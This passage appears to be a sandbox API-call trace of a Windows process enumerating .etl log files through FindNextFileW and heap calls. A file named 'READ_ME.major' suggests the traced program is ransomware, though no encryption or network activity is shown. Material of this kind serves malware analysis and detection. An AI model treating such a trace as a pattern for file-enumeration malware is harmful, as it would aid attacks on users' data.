FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x8f69453d, ftLastAccessTime.dwHighDateTime=0x1d327b9, ftLastWriteTime.dwLowDateTime=0x8f779518, ftLastWriteTime.dwHighDateTime=0x1d327b9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NotificationUxBroker.014.etl", cAlternateFileName="NO43D2~1.ETL")) returned 1 [0152.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0152.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0152.987] GetLastError () returned 0x0 [0152.987] SetLastError (dwErrCode=0x0) [0152.987] GetLastError () returned 0x0 [0152.987] SetLastError (dwErrCode=0x0) [0152.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0152.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0152.987] GetLastError () returned 0x0 [0152.987] SetLastError (dwErrCode=0x0) [0152.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0152.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0152.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0152.987] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7fb3688d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7fc1b6b8, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NotificationUxBroker.015.etl", cAlternateFileName="NOTIFI~4.ETL")) returned 1 [0152.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0152.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0152.987] GetLastError () returned 0x0 [0152.987] SetLastError (dwErrCode=0x0) [0152.988] GetLastError () returned 0x0 [0152.988] SetLastError (dwErrCode=0x0) [0152.988] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0152.988] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0152.988] GetLastError () returned 0x0 [0152.988] SetLastError (dwErrCode=0x0) [0152.988] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0152.988] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0152.988] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0152.988] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcb502d29, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb5c1a4e, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NotificationUxBroker.016.etl", cAlternateFileName="NOTIFI~3.ETL")) returned 1 [0152.988] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0152.988] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0152.988] GetLastError () returned 0x0 [0152.988] SetLastError (dwErrCode=0x0) [0152.988] GetLastError () returned 0x0 [0152.988] SetLastError (dwErrCode=0x0) [0152.988] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0152.988] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0152.988] GetLastError () returned 0x0 [0152.988] SetLastError (dwErrCode=0x0) [0152.988] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0152.988] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0152.988] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0152.988] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7b53cfc, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x8be7d51, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NotificationUxBroker.017.etl", cAlternateFileName="NOTIFI~1.ETL")) returned 1 [0152.988] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0152.988] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0152.988] GetLastError () returned 0x0 [0152.988] SetLastError (dwErrCode=0x0) [0152.988] GetLastError () returned 0x0 [0152.988] SetLastError (dwErrCode=0x0) [0152.988] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0152.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0152.989] GetLastError () returned 0x0 [0152.989] SetLastError (dwErrCode=0x0) [0152.989] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0152.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0152.989] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d19d0 [0152.989] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x15b28d00, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x15b28d00, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x15b28d00, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0152.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0152.989] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0152.989] GetLastError () returned 0x0 [0152.989] SetLastError (dwErrCode=0x0) [0152.989] GetLastError () returned 0x0 [0152.989] SetLastError (dwErrCode=0x0) [0152.989] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d28b0 [0152.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0152.989] GetLastError () returned 0x0 [0152.989] SetLastError (dwErrCode=0x0) [0152.989] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc800 [0152.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc800 | out: hHeap=0x570000) returned 1 [0152.989] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd6790700, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xd6790700, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.001.etl", cAlternateFileName="UP2DAF~1.ETL")) returned 1 [0152.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d28b0 | out: hHeap=0x570000) returned 1 [0152.989] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0152.989] GetLastError () returned 0x0 [0152.989] SetLastError (dwErrCode=0x0) [0152.989] GetLastError () returned 0x0 [0152.989] SetLastError (dwErrCode=0x0) [0152.989] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1fa8 [0152.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0152.989] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0152.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1fa8 | out: hHeap=0x570000) returned 1 [0152.989] GetLastError () returned 0x0 [0152.989] SetLastError (dwErrCode=0x0) [0152.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0152.990] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0152.990] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xde371631, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x2bb800e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.002.etl", cAlternateFileName="UP3884~1.ETL")) returned 1 [0152.990] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0152.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0152.990] GetLastError () returned 0x0 [0152.990] SetLastError (dwErrCode=0x0) [0152.990] GetLastError () returned 0x0 [0152.990] SetLastError (dwErrCode=0x0) [0152.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1d00 [0152.990] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0152.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0152.990] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1d00 | out: hHeap=0x570000) returned 1 [0152.990] GetLastError () returned 0x0 [0152.990] SetLastError (dwErrCode=0x0) [0152.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0152.990] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x57e1d0 [0152.990] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2a522d7b, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x4e6dab1f, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.003.etl", cAlternateFileName="UP8247~1.ETL")) returned 1 [0152.990] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0152.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0152.990] GetLastError () returned 0x0 [0152.990] SetLastError (dwErrCode=0x0) [0152.990] GetLastError () returned 0x0 [0152.990] SetLastError (dwErrCode=0x0) [0152.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1b68 [0152.990] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0152.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d08b8 [0152.990] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1b68 | out: hHeap=0x570000) returned 1 [0152.990] GetLastError () returned 0x0 [0152.990] SetLastError (dwErrCode=0x0) [0152.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0152.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x2e40f20 [0152.991] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2cbb43aa, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x5454d5b0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.004.etl", cAlternateFileName="UPD2FC~1.ETL")) returned 1 [0152.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d08b8 | out: hHeap=0x570000) returned 1 [0152.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0152.991] GetLastError () returned 0x0 [0152.991] SetLastError (dwErrCode=0x0) [0152.991] GetLastError () returned 0x0 [0152.991] SetLastError (dwErrCode=0x0) [0152.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1948 [0152.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0152.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0152.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1948 | out: hHeap=0x570000) returned 1 [0152.991] GetLastError () returned 0x0 [0152.991] SetLastError (dwErrCode=0x0) [0152.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0152.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a9008 [0152.991] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x60de6047, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x60de6047, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.005.etl", cAlternateFileName="UPB784~1.ETL")) returned 1 [0152.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0152.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0152.991] GetLastError () returned 0x0 [0152.991] SetLastError (dwErrCode=0x0) [0152.991] GetLastError () returned 0x0 [0152.991] SetLastError (dwErrCode=0x0) [0152.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1948 [0152.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0152.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0152.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1948 | out: hHeap=0x570000) returned 1 [0152.991] GetLastError () returned 0x0 [0152.991] SetLastError (dwErrCode=0x0) [0152.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0152.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a37b8 [0152.992] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa72ae253, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0xcb3f3780, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.006.etl", cAlternateFileName="UP7D55~1.ETL")) returned 1 [0152.992] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0152.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0152.992] GetLastError () returned 0x0 [0152.992] SetLastError (dwErrCode=0x0) [0152.992] GetLastError () returned 0x0 [0152.992] SetLastError (dwErrCode=0x0) [0152.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2718 [0152.992] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0152.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0152.992] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2718 | out: hHeap=0x570000) returned 1 [0152.992] GetLastError () returned 0x0 [0152.992] SetLastError (dwErrCode=0x0) [0152.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0152.992] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5aa568 [0152.992] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x5ca8efbc, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8784f695, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.007.etl", cAlternateFileName="UP52FC~1.ETL")) returned 1 [0152.992] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0152.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0152.992] GetLastError () returned 0x0 [0152.992] SetLastError (dwErrCode=0x0) [0152.992] GetLastError () returned 0x0 [0152.992] SetLastError (dwErrCode=0x0) [0152.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1ae0 [0152.993] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0152.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0152.993] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1ae0 | out: hHeap=0x570000) returned 1 [0152.993] GetLastError () returned 0x0 [0152.993] SetLastError (dwErrCode=0x0) [0152.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0152.993] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5b85a8 [0152.993] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4346f4fe, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x4346f4fe, ftLastWriteTime.dwHighDateTime=0x1d41dc4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.008.etl", cAlternateFileName="UPA721~1.ETL")) returned 1 [0152.993] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0152.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0152.993] GetLastError () returned 0x0 [0152.993] SetLastError (dwErrCode=0x0) [0152.993] GetLastError () returned 0x0 [0152.993] SetLastError (dwErrCode=0x0) [0152.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2718 [0152.993] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0152.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0152.993] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2718 | out: hHeap=0x570000) returned 1 [0152.993] GetLastError () returned 0x0 [0152.993] SetLastError (dwErrCode=0x0) [0152.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0152.993] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5aa6f8 [0152.993] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x745a10f, ftLastAccessTime.dwHighDateTime=0x1d3aafc, ftLastWriteTime.dwLowDateTime=0x318cac0d, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.009.etl", cAlternateFileName="UPFC55~1.ETL")) returned 1 [0152.993] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0152.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0152.993] GetLastError () returned 0x0 [0152.993] SetLastError (dwErrCode=0x0) [0152.993] GetLastError () returned 0x0 [0152.993] SetLastError (dwErrCode=0x0) [0152.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1a58 [0152.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0152.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0152.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1a58 | out: hHeap=0x570000) returned 1 [0152.994] GetLastError () returned 0x0 [0152.994] SetLastError (dwErrCode=0x0) [0152.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0152.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bd3b8 [0152.994] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd59be406, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xd59be406, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.010.etl", cAlternateFileName="UPB13B~1.ETL")) returned 1 [0152.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0152.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0152.994] GetLastError () returned 0x0 [0152.994] SetLastError (dwErrCode=0x0) [0152.994] GetLastError () returned 0x0 [0152.994] SetLastError (dwErrCode=0x0) [0152.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2140 [0152.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0152.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0152.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2140 | out: hHeap=0x570000) returned 1 [0152.994] GetLastError () returned 0x0 [0152.994] SetLastError (dwErrCode=0x0) [0152.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0152.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bd450 [0152.994] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x198319d2, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3f449663, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.011.etl", cAlternateFileName="UP076F~1.ETL")) returned 1 [0152.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0152.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0152.994] GetLastError () returned 0x0 [0152.994] SetLastError (dwErrCode=0x0) [0152.994] GetLastError () returned 0x0 [0152.994] SetLastError (dwErrCode=0x0) [0152.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2140 [0152.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0152.995] 